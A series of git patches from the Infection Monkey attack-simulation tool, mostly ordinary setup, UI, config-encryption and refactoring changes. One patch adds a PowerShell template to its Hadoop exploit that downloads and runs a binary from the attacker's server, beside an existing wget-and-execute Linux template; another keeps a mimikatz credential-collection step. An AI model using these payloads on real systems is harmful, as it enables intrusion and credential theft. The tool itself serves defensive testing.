Extract contents from bin folder to monkey_island\bin\mongodb. - 3.3. Create monkey_island\db folder. +3. Setup mongodb (Use one of the following two options): + 3.1 Place portable version of mongodb + 3.1.1 Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip + 3.2.1 Extract contents from bin folder to monkey_island\bin\mongodb. + 3.3.1 Create monkey_island\db folder. + + OR + + 3.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable: + + example for mongodb running on host with IP address 192.168.10.10: + + set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland" + 4. Place portable version of OpenSSL 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip 4.2. Extract content from bin folder to monkey_island\bin\openssl @@ -53,13 +63,24 @@ How to run: monkey-windows-32.exe - monkey binary for windows 32bit monkey-windows-64.exe - monkey binary for windows 64bi -4. Download MongoDB and extract it to /var/monkey_island/bin/mongodb - for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz - for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz - find more at - https://www.mongodb.org/downloads#production - untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb - (make sure the content of the mongo folder is in this directory, meaning this path exists: - /var/monkey_island/bin/mongodb/bin) +4. Setup MongoDB (Use one of the two following options): + + 4.1 Download MongoDB and extract it to /var/monkey_island/bin/mongodb + for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz + for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz + find more at - https://www.mongodb.org/downloads#production + untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb + (make sure the content of the mongo folder is in this directory, meaning this path exists: + /var/monkey_island/bin/mongodb/bin) + + OR + + 4.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable: + + example for mongodb running on host with IP address 192.168.10.10: + + set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland" + 5. install OpenSSL sudo apt-get install openssl From 8b81d32babb6417b6b805bf78ef32bec97ce521f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 18 Nov 2018 15:20:01 +0200 Subject: [PATCH 136/183] Hotfix of issues enum --- monkey/monkey_island/cc/services/report.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index fe8928a56..d8f9b9b96 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -50,8 +50,8 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 - WEBLOGIC = 9, - HADOOP = 10, + WEBLOGIC = 9 + HADOOP = 10 PTH_CRIT_SERVICES_ACCESS = 11 class WARNINGS_DICT(Enum): From 3503bf9ccb210baf07a74b5d63ef32e14747ffd1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Nov 2018 15:55:18 +0200 Subject: [PATCH 137/183] Makes all tabs of equal height --- monkey/monkey_island/cc/ui/src/styles/App.css | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 7f487694c..1b857a1ec 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -138,12 +138,11 @@ body { padding-left: 40px; } } + .main .page-header { margin-top: 0; } - - .index img { margin: 40px auto; border-radius: 4px; @@ -172,6 +171,9 @@ body { display: none; } +.nav-tabs > li > a { + height: 63px +} /* * Run Monkey Page */ @@ -491,4 +493,5 @@ body { .label-danger { background-color: #d9534f !important; } + } From 22a7a5401c061038347c91bf6cccdd73489f26c1 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 19 Nov 2018 19:15:02 +0200 Subject: [PATCH 138/183] Hotfix english phrasing in WebLogic recommendation --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index f88df4831..18e39704d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -837,7 +837,7 @@ class ReportPageComponent extends AuthComponent { return (

  • Install Oracle - critical patch updates. Or change server version. Vulnerable versions are + critical patch updates. Or update to the latest version. Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Oracle WebLogic server at {issue.machine} ( Date: Tue, 20 Nov 2018 17:46:35 +0200 Subject: [PATCH 139/183] Fix typo where Oracle WebLogic showed up --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 18e39704d..61e80737b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -857,7 +857,7 @@ class ReportPageComponent extends AuthComponent { Run Hadoop in secure mode ( add Kerberos authentication). - Oracle WebLogic server at {issue.machine} ({issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack.
    From 5ffd22433aec5ae96450b4955d1275a23613808b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 21 Nov 2018 13:32:45 +0200 Subject: [PATCH 140/183] Hadoop windows fixed to be more reliable --- monkey/infection_monkey/exploit/hadoop.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 0605614ee..6c0180fb0 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -29,9 +29,18 @@ class HadoopExploiter(WebRCE): "&& wget -O %(monkey_path)s %(http_path)s " \ "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + + """ Command was observed to be unreliable, we use powershell instead WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" + """ + + WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ + "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" + # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -46,6 +55,9 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False + # We can only upload 64bit version to windows for various reasons + if self.host.os['type'] == 'windows': + self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False From b48cb16088d4191e776ed8911f8374ac9d545a94 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Nov 2018 19:45:13 +0200 Subject: [PATCH 141/183] Comment changed --- monkey/infection_monkey/exploit/hadoop.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 6c0180fb0..30925bc0f 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -55,7 +55,7 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False - # We can only upload 64bit version to windows for various reasons + # We assume hadoop is ran only on 64 bit windows if self.host.os['type'] == 'windows': self.host.os['machine'] = '64' paths = self.get_monkey_paths() From eddc4ca36ad6bee30cdaa150d911dce07571fc14 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 25 Nov 2018 16:29:44 +0200 Subject: [PATCH 142/183] Add AWS instance id collector --- monkey/common/cloud/__init__.py | 1 + monkey/common/cloud/aws.py | 17 ++++++++++ .../infection_monkey/system_info/__init__.py | 12 +++++++ .../system_info/aws_collector.py | 29 ++++++++++++++++ .../system_info/linux_info_collector.py | 5 +-- .../system_info/windows_info_collector.py | 34 +++++++++---------- monkey/monkey_island/cc/environment/aws.py | 5 ++- 7 files changed, 78 insertions(+), 25 deletions(-) create mode 100644 monkey/common/cloud/__init__.py create mode 100644 monkey/common/cloud/aws.py create mode 100644 monkey/infection_monkey/system_info/aws_collector.py diff --git a/monkey/common/cloud/__init__.py b/monkey/common/cloud/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/monkey/common/cloud/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py new file mode 100644 index 000000000..dc5d7b617 --- /dev/null +++ b/monkey/common/cloud/aws.py @@ -0,0 +1,17 @@ +import urllib2 + +__author__ = 'itay.mizeretz' + + +class Aws: + def __init__(self): + try: + self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + except urllib2.URLError: + self.instance_id = None + + def get_instance_id(self): + return self.instance_id + + def is_aws_instance(self): + return self.instance_id is not None diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index fbfbcbd7a..66a8a77b3 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -5,7 +5,9 @@ import sys import psutil from enum import IntEnum +from common.cloud.aws import Aws from infection_monkey.network.info import get_host_subnets +from infection_monkey.system_info.aws_collector import AwsCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector LOG = logging.getLogger(__name__) @@ -57,6 +59,13 @@ class InfoCollector(object): def __init__(self): self.info = {} + def get_info(self): + self.get_hostname() + self.get_process_list() + self.get_network_info() + self.get_azure_info() + self.get_aws_info() + def get_hostname(self): """ Adds the fully qualified computer hostname to the system information. @@ -131,3 +140,6 @@ class InfoCollector(object): if len(azure_creds) != 0: self.info["Azure"] = {} self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] + + def get_aws_info(self): + self.info['aws'] = AwsCollector().get_aws_info() diff --git a/monkey/infection_monkey/system_info/aws_collector.py b/monkey/infection_monkey/system_info/aws_collector.py new file mode 100644 index 000000000..8853aabff --- /dev/null +++ b/monkey/infection_monkey/system_info/aws_collector.py @@ -0,0 +1,29 @@ +import logging + +from common.cloud.aws import Aws + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + +class AwsCollector(object): + """ + Extract info from AWS machines + """ + + @staticmethod + def get_aws_info(): + LOG.info("Collecting AWS info") + aws = Aws() + info = {} + if aws.is_aws_instance(): + LOG.info("Machine is an AWS instance") + info = \ + { + 'instance_id': aws.get_instance_id() + } + else: + LOG.info("Machine is NOT an AWS instance") + + return info diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py index 466177b49..831b10ba1 100644 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ b/monkey/infection_monkey/system_info/linux_info_collector.py @@ -23,10 +23,7 @@ class LinuxInfoCollector(InfoCollector): :return: Dict of system information """ LOG.debug("Running Linux collector") - self.get_hostname() - self.get_process_list() - self.get_network_info() - self.get_azure_info() + super(LinuxInfoCollector, self).get_info() self.info['ssh_info'] = SSHCollector.get_info() return self.info diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index abf0771fa..fb2261572 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -35,16 +35,26 @@ class WindowsInfoCollector(InfoCollector): :return: Dict of system information """ LOG.debug("Running Windows collector") - self.get_hostname() - self.get_process_list() - self.get_network_info() - self.get_azure_info() - + super(WindowsInfoCollector, self).get_info() self.get_wmi_info() - LOG.debug('finished get_wmi_info') self.get_installed_packages() + self.get_mimikatz_info() + + return self.info + + def get_installed_packages(self): + LOG.info('getting installed packages') + self.info["installed_packages"] = os.popen("dism /online /get-packages").read() + self.info["installed_features"] = os.popen("dism /online /get-features").read() LOG.debug('Got installed packages') + def get_wmi_info(self): + LOG.info('getting wmi info') + for wmi_class_name in WMI_CLASSES: + self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) + LOG.debug('finished get_wmi_info') + + def get_mimikatz_info(self): mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() if mimikatz_info: @@ -53,15 +63,3 @@ class WindowsInfoCollector(InfoCollector): self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() else: LOG.info('No mimikatz info was gathered') - - return self.info - - def get_installed_packages(self): - LOG.info('getting installed packages') - self.info["installed_packages"] = os.popen("dism /online /get-packages").read() - self.info["installed_features"] = os.popen("dism /online /get-features").read() - - def get_wmi_info(self): - LOG.info('getting wmi info') - for wmi_class_name in WMI_CLASSES: - self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index b85a7d2e4..a65a6b940 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,7 +1,6 @@ -import urllib2 - import cc.auth from cc.environment import Environment +from common.cloud.aws import Aws __author__ = 'itay.mizeretz' @@ -13,7 +12,7 @@ class AwsEnvironment(Environment): @staticmethod def _get_instance_id(): - return urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + return Aws.get_instance_id() def is_auth_enabled(self): return True From fac6f970bb8d13da10c286072028e5c090adc7d5 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 25 Nov 2018 18:38:44 +0200 Subject: [PATCH 143/183] Add support for strings to be encrypted --- monkey/monkey_island/cc/services/config.py | 39 ++++++++++++++++------ 1 file changed, 28 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 64b359f61..9ebe7189c 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -869,6 +869,7 @@ SCHEMA = { } } +# This should be used for config values of array type (array of strings only) ENCRYPTED_CONFIG_ARRAYS = \ [ ['basic', 'credentials', 'exploit_password_list'], @@ -877,6 +878,12 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['internal', 'exploits', 'exploit_ssh_keys'] ] +# This should be used for config values of string type +ENCRYPTED_CONFIG_STRINGS = \ + [ + + ] + class ConfigService: default_config = None @@ -913,8 +920,11 @@ class ConfigService: config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) for config_key_part in config_key_as_arr: config = config[config_key_part] - if should_decrypt and (config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS): - config = [encryptor.dec(x) for x in config] + if should_decrypt: + if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: + config = [encryptor.dec(x) for x in config] + elif config_key_as_arr in ENCRYPTED_CONFIG_STRINGS: + config = encryptor.dec(config) return config @staticmethod @@ -1071,7 +1081,7 @@ class ConfigService: """ Same as decrypt_config but for a flat configuration """ - keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] + keys = [config_arr_as_array[2] for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)] for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): # Check if we are decrypting ssh key pair @@ -1085,18 +1095,25 @@ class ConfigService: @staticmethod def _encrypt_or_decrypt_config(config, is_decrypt=False): - for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS: + for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS): config_arr = config + prev_config_arr = None + for config_key_part in config_arr_as_array: + prev_config_arr = config_arr config_arr = config_arr[config_key_part] - for i in range(len(config_arr)): - # Check if array of shh key pairs and then decrypt - if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: - config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ - ConfigService.decrypt_ssh_key_pair(config_arr[i], True) - else: - config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types): + for i in range(len(config_arr)): + # Check if array of shh key pairs and then decrypt + if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: + config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ + ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + else: + config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + else: + prev_config_arr[config_arr_as_array[-1]] =\ + encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr) @staticmethod def decrypt_ssh_key_pair(pair, encrypt=False): From f6a0937b220290ff273ec05c6872990487586bff Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 25 Nov 2018 18:45:55 +0200 Subject: [PATCH 144/183] rename var + comment --- monkey/monkey_island/cc/services/config.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 9ebe7189c..1b2966026 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -1097,10 +1097,11 @@ class ConfigService: def _encrypt_or_decrypt_config(config, is_decrypt=False): for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS): config_arr = config - prev_config_arr = None + parent_config_arr = None + # Because the config isn't flat, this for-loop gets the actual config value out of the config for config_key_part in config_arr_as_array: - prev_config_arr = config_arr + parent_config_arr = config_arr config_arr = config_arr[config_key_part] if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types): @@ -1112,7 +1113,7 @@ class ConfigService: else: config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) else: - prev_config_arr[config_arr_as_array[-1]] =\ + parent_config_arr[config_arr_as_array[-1]] =\ encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr) @staticmethod From 85d832938d1a896b54758f795b25ff59da68622e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 26 Nov 2018 13:43:15 +0200 Subject: [PATCH 145/183] Small bugfix in web_rce get_open_service_ports --- monkey/infection_monkey/exploit/web_rce.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index bb3704995..6bc5fee37 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -126,7 +126,9 @@ class WebRCE(HostExploiter): candidate_services = {} candidate_services.update({ service: self.host.services[service] for service in self.host.services if - (self.host.services[service] and self.host.services[service]['name'] in names) + (self.host.services[service] and + 'name' in self.host.services[service] and + self.host.services[service]['name'] in names) }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if From b7bfdd7afdaae171a388bc47ef0736bbea27df17 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Nov 2018 11:26:09 +0200 Subject: [PATCH 146/183] Quick move from unicode to text_type --- monkey/monkey_island/cc/services/report.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index d8f9b9b96..38bf6fe79 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -424,7 +424,7 @@ class ReportService: ip_in_src = None ip_in_dst = None for ip_addr in monkey['ip_addresses']: - if source_subnet_range.is_in_range(unicode(ip_addr)): + if source_subnet_range.is_in_range(text_type(ip_addr)): ip_in_src = ip_addr break @@ -433,7 +433,7 @@ class ReportService: continue for ip_addr in monkey['ip_addresses']: - if target_subnet_range.is_in_range(unicode(ip_addr)): + if target_subnet_range.is_in_range(text_type(ip_addr)): ip_in_dst = ip_addr break @@ -469,7 +469,7 @@ class ReportService: scans.rewind() # If we iterated over scans already we need to rewind. for scan in scans: target_ip = scan['data']['machine']['ip_addr'] - if target_subnet_range.is_in_range(unicode(target_ip)): + if target_subnet_range.is_in_range(text_type(target_ip)): monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], source_subnet_range, From b3afeee3c05d9b48de9bb2b5f18a25aae99d00f2 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Nov 2018 14:10:46 +0200 Subject: [PATCH 147/183] Rename Aws to proper AWS --- monkey/common/cloud/aws.py | 2 +- .../infection_monkey/system_info/__init__.py | 1 - .../system_info/aws_collector.py | 4 +- monkey/monkey_island/cc/environment/aws.py | 4 +- monkey/monkey_island/cc/ui/package-lock.json | 6923 +++++++++-------- monkey/monkey_island/cc/ui/package.json | 2 +- 6 files changed, 3508 insertions(+), 3428 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index dc5d7b617..acdb38871 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -3,7 +3,7 @@ import urllib2 __author__ = 'itay.mizeretz' -class Aws: +class AWS: def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 66a8a77b3..e3892abac 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -5,7 +5,6 @@ import sys import psutil from enum import IntEnum -from common.cloud.aws import Aws from infection_monkey.network.info import get_host_subnets from infection_monkey.system_info.aws_collector import AwsCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector diff --git a/monkey/infection_monkey/system_info/aws_collector.py b/monkey/infection_monkey/system_info/aws_collector.py index 8853aabff..699339ae8 100644 --- a/monkey/infection_monkey/system_info/aws_collector.py +++ b/monkey/infection_monkey/system_info/aws_collector.py @@ -1,6 +1,6 @@ import logging -from common.cloud.aws import Aws +from common.cloud.aws import AWS __author__ = 'itay.mizeretz' @@ -15,7 +15,7 @@ class AwsCollector(object): @staticmethod def get_aws_info(): LOG.info("Collecting AWS info") - aws = Aws() + aws = AWS() info = {} if aws.is_aws_instance(): LOG.info("Machine is an AWS instance") diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index a65a6b940..464d42323 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,6 +1,6 @@ import cc.auth from cc.environment import Environment -from common.cloud.aws import Aws +from common.cloud.aws import AWS __author__ = 'itay.mizeretz' @@ -12,7 +12,7 @@ class AwsEnvironment(Environment): @staticmethod def _get_instance_id(): - return Aws.get_instance_id() + return AWS.get_instance_id() def is_auth_enabled(self): return True diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index e79f4663d..13f5adf4e 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -19,10 +19,10 @@ "dev": true, "requires": { "@babel/types": "7.0.0-beta.44", - "jsesc": "2.5.1", - "lodash": "4.17.10", - "source-map": "0.5.6", - "trim-right": "1.0.1" + "jsesc": "^2.5.1", + "lodash": "^4.2.0", + "source-map": "^0.5.0", + "trim-right": "^1.0.1" }, "dependencies": { "jsesc": { @@ -68,9 +68,9 @@ "integrity": "sha512-Il19yJvy7vMFm8AVAh6OZzaFoAd0hbkeMZiX3P5HGD+z7dyI7RzndHB0dg6Urh/VAFfHtpOIzDUSxmY6coyZWQ==", "dev": true, "requires": { - "chalk": "2.4.1", - "esutils": "2.0.2", - "js-tokens": "3.0.2" + "chalk": "^2.0.0", + "esutils": "^2.0.2", + "js-tokens": "^3.0.0" }, "dependencies": { "ansi-styles": { @@ -79,7 +79,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -88,9 +88,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "has-flag": { @@ -105,18 +105,33 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } }, - "@babel/runtime-corejs2": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.2.tgz", - "integrity": "sha512-drxaPByExlcRDKW4ZLubUO4ZkI8/8ax9k9wve1aEthdLKFzjB7XRkOQ0xoTIWGxqdDnWDElkjYq77bt7yrcYJQ==", + "@babel/runtime": { + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.1.5.tgz", + "integrity": "sha512-xKnPpXG/pvK1B90JkwwxSGii90rQGKtzcMt2gI5G6+M0REXaq6rOHsGC2ay6/d0Uje7zzvSzjEzfR3ENhFlrfA==", "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.12.1" + "regenerator-runtime": "^0.12.0" + }, + "dependencies": { + "regenerator-runtime": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", + "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==" + } + } + }, + "@babel/runtime-corejs2": { + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.5.tgz", + "integrity": "sha512-WsYRwQsFhVmxkAqwypPTZyV9GpkqMEaAr2zOItOmqSX2GBFaI+eq98CN81e13o0zaUKJOQGYyjhNVqj56nnkYg==", + "requires": { + "core-js": "^2.5.7", + "regenerator-runtime": "^0.12.0" }, "dependencies": { "regenerator-runtime": { @@ -135,7 +150,7 @@ "@babel/code-frame": "7.0.0-beta.44", "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", - "lodash": "4.17.10" + "lodash": "^4.2.0" }, "dependencies": { "babylon": { @@ -158,10 +173,10 @@ "@babel/helper-split-export-declaration": "7.0.0-beta.44", "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", - "debug": "3.1.0", - "globals": "11.7.0", - "invariant": "2.2.2", - "lodash": "4.17.10" + "debug": "^3.1.0", + "globals": "^11.1.0", + "invariant": "^2.2.0", + "lodash": "^4.2.0" }, "dependencies": { "babylon": { @@ -193,9 +208,9 @@ "integrity": "sha512-5eTV4WRmqbaFM3v9gHAIljEQJU4Ssc6fxL61JN+Oe2ga/BwyjzjamwkCVVAQjHGuAX8i0BWo42dshL8eO5KfLQ==", "dev": true, "requires": { - "esutils": "2.0.2", - "lodash": "4.17.10", - "to-fast-properties": "2.0.0" + "esutils": "^2.0.2", + "lodash": "^4.2.0", + "to-fast-properties": "^2.0.0" }, "dependencies": { "to-fast-properties": { @@ -280,7 +295,7 @@ "integrity": "sha512-tOarWChdG1a3y1yqCX0JMDKzrat5tQe4pV6K/TX19BcXsBLYxFQOL1DEDa5KG9syeyvCrvZ+i1+Mv1ExngvktQ==", "dev": true, "requires": { - "@xtuc/ieee754": "1.2.0" + "@xtuc/ieee754": "^1.2.0" } }, "@webassemblyjs/leb128": { @@ -402,7 +417,7 @@ "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", "dev": true, "requires": { - "mime-types": "2.1.19", + "mime-types": "~2.1.18", "negotiator": "0.6.1" }, "dependencies": { @@ -418,7 +433,7 @@ "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", "dev": true, "requires": { - "mime-db": "1.35.0" + "mime-db": "~1.35.0" } } } @@ -435,7 +450,7 @@ "integrity": 